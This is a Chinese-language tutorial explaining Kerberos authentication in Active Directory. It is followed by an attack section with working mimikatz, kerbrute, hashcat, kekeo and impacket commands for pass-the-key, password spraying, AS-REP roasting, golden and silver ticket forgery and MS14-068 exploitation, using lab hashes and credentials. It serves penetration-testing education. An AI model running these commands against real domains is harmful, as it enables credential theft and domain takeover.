Kerberos协议
Kerberos是一种网络身份验证协议,旨在提供安全的身份验证服务。它由麻省理工学院提出,基于公私钥加密体制。Kerberos通过使用加密票证实现身份认证,主要由三个部分组成:Key Distribution Center (KDC)、Client和Service。KDC负责发放加密票证,Client使用票证向KDC请求服务凭据,然后向Service提供票证以访问服务。这种协议可用于确保通信双方的身份真实性和通信安全性
名词解释
- 客户端 Client:需要访问网络资源的用户或应用程序。
- 服务端 Server:提供网络资源的实体,可以是文件服务器、打印机等。
密钥分发中心 KDC (Key Distribution Center):KDC中分成
Authentication Service (AS)
和Ticket Granting Service (TGS)
两个部分,负责管理身份验证和密钥分发。- Authentication Service(AS):身份验证服务(认证服务器)。负责最初的身份验证。客户端向AS发送身份验证请求,AS验证用户身份并颁发
TGT(Ticket Granting Ticket)
票据。 - Ticket Granting Service(TGS):票据授予服务。负责颁发服务票据。客户端使用AS颁发的票据请求TGS颁发
ST(Server Ticket)
服务票据。 - KDC服务会默认安装在一个域的域控中,其中包含一个
KRBTGT
账户,它是在创建域时系统自动创建的一个账号
- Authentication Service(AS):身份验证服务(认证服务器)。负责最初的身份验证。客户端向AS发送身份验证请求,AS验证用户身份并颁发
票据授予票据 TGT(Ticket Granting Ticket):包含了客户端的身份信息以及TGS的密钥,用于安全地向TGS请求服务票据。
- 服务票据 ST(Service Ticket、TGS票据):用于客户端和服务端之间的安全通信的加密令牌,包含了客户端的身份信息、服务端的身份信息和有效期。
- 会话密钥(Session Key): 用于客户端和服务端之间的加密通信的对称密钥,在客户端获得TGS票据后,TGS票据中包含了一个会话密钥,客户端和服务端在建立连接时,使用会话密钥对通信进行加密和解密。
- PAC(Privilege Attribute Certificate):用于验证用户权限的特权属性证书。它通常包含在TGT(Ticket Granting Ticket)中,用于确定用户所拥有的权限。PAC由用户信息和数字签名两部分组成,用户信息包括用户的SID、组的SID等,而数字签名用于验证用户信息的合法性。PAC对于客户端和服务全程都是不可见的,只有KDC能制作和查看PAC。
认证过程
在 Kerboeros
协议认证过程中,会用到两个基础认证模块,分别是 AS_REQ&AS_REP
和 TGS_REQ&TGS_REP
,以及在认证过程中可能会使用到的 S4U
和 PAC
这两个认证模块。
- AS_REQ&AS_REP:Client与AS之间的认证使用,目的是获取TGT
- TGS_REQ&TGS_REP:Client与TGS之间认证使用,目的是获取ST
Kerberos
认证过程如下图所示
简单说明如下:
- Client向KDC的AS认证服务请求TGT票据;请求凭据是Client hash加密的时间戳(AS_REQ)
- KDC使用Client hash进行解密,如果结果正确就返回用krbtgt hash加密的TGT票据;TGT里面包含PAC,PAC包含Client的sid,Client所在的组。(AS_REP)
- Client带上TGT票据,向KDC的TGS认证服务请求针对特定服务的ST服务票据(TGS_REQ)
- KDC使用krbtgt hash进行解密,如果结果正确,就返回用 Server hash 加密的TGS票据(这一步不管用户有没有访问服务的权限,只要TGT正确,就返回TGS票据)(TGS_REP)
- Client使用TGS票据(ST)向Server请求服务(AP_REQ)
- 服务使用自己的 hash 解密 TGS票据,如果解密正确,就拿着PAC去KDC那边问Client有没有访问权限,域控解密PAC,获取Client的sid,以及所在的组,再根据该服务的ACL,判断Client是否有访问服务的权限。(AP_REP)
比喻举例说明如下:
场景:小明忘带身份证坐火车,小明是Client,坐火车是Server,KDC则是火车站
- 小明向火车站(KDC AS)证明自己的身份,申请临时身份证明
- 火车站验证通过后,给小明颁发临时身份证明(TGT)
- 小明拿着临时身份证明(TGT)去火车站(KDS TGS)购票
- 火车站验证通过后,给小明发放了火车票(ST)
- 小明拿着火车票(ST)上坐火车
- 检票人员会检查票(ST)的有效性,以此决定是否放行
详细说明如下:
客户端向KDC的AS请求申请TGT:客户端本机的Kerberos服务会向KDC的AS认证服务发送AS-REQ认证请求,请求内容包括了客户端的个人信息即
principal
如用户名,以及说明要请求什么服务、目标服务的主机名等信息,也告诉AS自己将与TGS通信。除此之外为了防止别人伪造这个客户端的身份以及重放,还要求发送一个认证因子authenticator,这个认证因子需要使用客户端的hash来加密一个时间戳。KDC的AS向客户端的请求做出响应发放TGT:AS收到了客户端的请求之后,会查询AD目录找到该客户端的hash,然后对时间戳进行解密,如果解密失败说明用于加密的hash是错误的,同时验证是否为受到了重放攻击。
在AS验证通过之后,AS会生成
login session key
和TGT
,login session key
使用客户端的hash加密,TGT使用krbtgt
的hash进行加密,最后再将加密后的login session key
、TGT
以及一些其他相关信息打包发送给客户端。客户端向KDC的TGS请求申请ST:客户端收到了KDC的的响应包之后会将收到的TGT存储在本地,并使用自己的hash将对应使用自己的hash加密的信息进行解密,获取到AS生成的
login session key
,然后客户端使用login session key
去加密时间戳然后与收到的TGT、需要的服务名字、自己的相关信息一同打包发送到KDC的TGS。KDC的TGS向客户端的请求做出响应发放ST:当TGS接收到请求之后,会检查自身是否存在客户端请求的服务,如果存在就会拿ktbtgt hash解密TGT,解密到的信息中包含了
login session key
,此时就可以用其解密获取到时间戳并验证时间戳。通过验证后,KDC会生成一个
service session key
,用于客户端和服务端直接的安全通信,并且为客户端生成ST服务票据(该票据是由客户端信息和service session key
打包后用服务端的hash加密的)。后会将service session key
用之前的login session key
加密后和ST一同打包发送给客户端。客户端向服务端请求:客户端接收到了TGS的响应后,会将ST存储起来,同时利用
login session key
解密获取到service session key
,用于与服务端通信,然后客户端用service session key
加密客户端信息、时间戳,再和 ST 打包一起发送给服务端验证。服务端向KDC的请求验证:服务端接收到客户端发送的请求后,用自己的hash解密ST,能够拿到客户端信息和
service session key
,再用service session key
去解密客户端发来的客户端信息和时间戳,通过比对来判断是否伪造和重放通过验证后,服务端会向KDC请求,将PAC发送给KDC进行验证
KDC向服务端响应:KDC将会对服务端发来的PAC进行验证,解密并查看PAC,获取Client的sid,以及所在的组,再根据该服务的ACL,判断Client是否有访问服务的权限。
服务端向客户端响应:服务端会生成一个票据,该票据包括客户端身份信息、服务端的身份信息,使用之前获得的
service session key
去加密该票据信息并发送给客户端,然后客户端就可以正常获取到服务端的服务了。
6、7 两步不一定发生,需要配置验证KDC PAC 签名,如果没有配置,那么可能会导致白银票据攻击。
攻击面
AS-REQ
PTK
pass the key (密钥传递攻击,简称 PTK)是在域中攻击 kerberos 认证的一种方式,原理是通过获取用户的aes,通过 kerberos 认证,可在NTLM认证被禁止的情况下用来实现类似 PTH 的功能;简单来说就是使用AES256或者AES128的方式进行传递。
注:PTK也不是随时都能用的,需要满足如下条件
ntlm hash is mandatory on XP/2003/Vista/2008 and before 7/2008r2/8/2012 kb2871997 (AES not available or replaceable) ; AES keys can be replaced only on 8.1/2012r2 or 7/2008r2/8/2012 with kb2871997, in this case you can avoid ntlm hash.
使用mimikatz获取aes key
mimikatz "privilege::debug" "sekurlsa::ekeys"
PTK
mimikatz "privilege::debug" "sekurlsa::pth /user:a /domain:test.local /aes128:<获取到的aes128_hmac值>"
mimikatz "privilege::debug" "sekurlsa::pth /user:a /domain:test.local /aes256:<获取到的aes256_hmac值>"
导入后可直接进行远程连接,如 dir \\xxxxx\c$
。
用户名枚举
用户存在但密码错误时,kerberos会返回KDC_ERR_PREAUTH_FAILED
,当用户名不存在时会返回KDC_ERR_C_PRINCIPAL_UNKNOWN
。基于此能在域外对域内的用户进行用户名爆破。
使用kerbrute进行测试
kerbrute_windows_amd64.exe userenum -d org.gm7 username.txt
Password Spraying
密码喷洒攻击,就是通过固定密码去批量暴破用户;和用户名枚举类似,如果密码错误会返回 KDC_ERR_PREAUTH_FAILED
,密码正确则直接返回TGT
使用kerbrute进行测试
kerbrute_windows_amd64.exe passwordspray -d org.gm7 username.txt 单个密码
AS-REP
AS-REP Roasting
在用户开启Dot not require Kerberos preauthentication(不要求 Kerberos 预身份验证)
时,此时向域控制器的88端口发送AS-REQ请求,对收到的AS-REP内容重新组合,能够拼接成Kerberos 5 AS-REP etype 23 (18200)
的格式,接下来可以使用hashcat对其破解,最终获得该用户的明文口令。
个人感觉局限性太大了
Import-Module .\PowerView.ps1
Get-DomainUser -PreauthNotRequired -Properties distinguishedname -Verbose # 查找符合条件的用户
Import-Module .\ASREPRoast.ps1
Invoke-ASREPRoast -Verbose |fl //导出可用用户hash
hashcat -m 18200 '获取的hash,拼接成hashcat能够识别的格式需要在$krb5asrep后面添加$23' password.lst -o found.txt --force # 使用hashcat破解
黄金票据
AS-REP中AS返回给client的 TGT 中的 enc-part
是使用 krbtgt 用户的hash进行加密的,所以如果我们获取了krbtgt的hash就可以伪造任意用户登录域控,虽然域内用户密码常会修改,但是krbtgt是很少修改的。
常用于权限维持
使用mimikatz获取krbtgt的SID和hash
mimikatz "lsadump::dcsync /domain:org.gm7 /user:krbtgt" "exit"
SID: S-1-5-21-1878822121-1315641291-3131639831
Hash NTLM:bee81afcc4a3097e0e236c31cafa4ab1
domain:org.gm7
在任意电脑中使用mimikatz中伪造票据
# 清除票据缓存
kerberos::purge
# 生成票据,伪造 Administrator
kerberos::golden /admin:Administrator /domain:org.gm7 /sid:S-1-5-21-1878822121-1315641291-3131639831 /krbtgt:bee81afcc4a3097e0e236c31cafa4ab1 /ticket:Administrator.kiribi
# 导入票据
kerberos::ptt Administrator.kiribi
# 查看票据
kerberos::list
此时就可以远程访问DC了
dir \\PDC\c$
PsExec.exe \\PDC.org.gm7 cmd
TGS-REP
PTT
票据传递攻击(PTT)是一种使用Kerberos票据代替明文密码或NTLM哈希的方法;最常见的用途可能是使用黄金票据和白银票据
Kerberoasting
Kerberos协议进行到第四步的时候,不管客户端有无权限,只要TGT正确,就返回TGS票据(服务票据);也就是说域内任何用户都可以向域内任何服务请求TGS票据,再加上TGS票据的生成是使用服务账户的hash进行RC4-HMAC
算法加密,站在利用的角度,我们是可以尝试使用强大的字典进行暴力破解TGS票据的
参考:SPN介绍和利用
白银票据
在TGS_REP里面的ticket的enc-part是使用服务的hash进行加密的,如果我们拥有服务的hash,就可以给我们自己签发任意用户的TGS票据;
和黄金票据类似,不过白银票据伪造的是ST,通过获得服务的服务账号和密码来生成一张可以访问该服务的ST服务票据,如LDAP、MSSQL、WinRM、DNS、CIFS等,范围有限,只能获取对应服务的权限。
但又和黄金票据不同,黄金票据通过krbtgt的hash伪造TGT,拥有非常高的权限;而白银票据通过服务的hash伪造TGS票据,只能访问特定的服务,不需要和KDC交互。
伪造的白银票据不带有有效KDC签名的PAC,如果将目标主机配置为验证KDC PAC签名,那么银票将不起作用
使用mimikatz获取服务用户的SID和hash
mimikatz "privilege::Debug" "sekurlsa::logonpasswords" "exit"
伪造白银票据
mimikatz "kerberos::golden /domain:org.gm7 /sid:S-1-5-21-1878822121-1315641291-3131639831 /target:DESKTOP-9CAT508.org.gm7 /service:cifs /rc4:3ac1e294fabedf7d2bfa80fec59f59b9 /user:d4m1ts /ptt" "exit"
常见的服务列表
Service Type | Service Silver Tickets |
---|---|
WMI | HOST RPCSS |
PowerShell Remoting | HOST HTTP |
WinRM | HOST HTTP |
Scheduled Tasks | HOST |
Windows File Share (CIFS) | CIFS |
LDAP operations including Mimikatz DCSync | LDAP |
Windows Remote Server Administration Tools | RPCSS LDAP CIFS |
服务的利用范围可参考:Kerberos的白银票据详解
PAC
简介
PAC是用于验证用户权限的特权属性证书。它通常包含在TGT(Ticket Granting Ticket)中,用于确定用户所拥有的权限。PAC由用户信息和数字签名两部分组成,用户信息包括用户的SID、组的SID等,而数字签名用于验证用户信息的合法性。PAC对于客户端和服务全程都是不可见的,只有KDC能制作和查看PAC。
简单来说,kerberos协议基础情况下只解决了认证的问题,拿到了ST就可以访问对应的服务,但并没有解决权限的问题,也就是说服务怎么判断用户是否有权限访问使用呢?为了解决上面的这个问题,微软引进了PAC,也就是上面详细说明的6、7步骤
MS14-068 (CVE-2014-6324)
MS14-068 (CVE-2014-6324) 是微软于 2014 年 11 月发布的补丁 (KB3011780) 中修复的一个漏洞,该漏洞允许攻击者以任意用户的权限提升到域管理员帐户权限,漏洞影响 Windows Server 2003
到 Windows Server 2012 R2
期间的 Windows 版本
该漏洞最本质的地方在于Microsoft Windows Kerberos KDC无法正确检查Kerberos票证请求随附的特权属性证书(PAC)中的有效签名,导致用户可以自己构造一张PAC。
在 KDC 对 PAC 进行验证时,对于 PAC 尾部的签名算法,本的设计是要用到HMAC系列的checksum算法,也就是必须要有key的参与,但微软在实现上,却允许任意checksum算法,包括MD5,因此只需要把篡改后的 PAC 进行MD5,就可以生成新的校验和,再指定签名算法为MD5,KDC 就会使用指定的MD5算法进行签名验证,也就达到了伪造PAC的目的。
漏洞自查:
若是受影响的 Windows 版本,漏洞自检可在域控命令查询是否打补丁:
systeminfo |findstr "KB3011780"
wmic qfe GET hotfixid |findstr "KB3011780"
漏洞利用:
- kekeo
kekeo.exe "exploit::ms14068 /domain:org.gm7 /user:d4m1ts /password:KsadiN8A.as221 /sid:S-1-5-21-1878822121-1315641291-3131639831-1108 /ptt" "exit"
- impacket
python3 goldenPac.py -dc-ip 172.16.93.15 -target-ip 172.16.93.15 org.gm7/d4m1ts:KsadiN8A.as221@PDC.org.gm7
- msf
use auxiliary/admin/kerberos/ms14_068_kerberos_checksum
python ms14-068.py -u d4m1ts@org.gm7 -p KsadiN8A.as221 -s S-1-5-21-1878822121-1315641291-3131639831-1108 -d PDC.org.gm7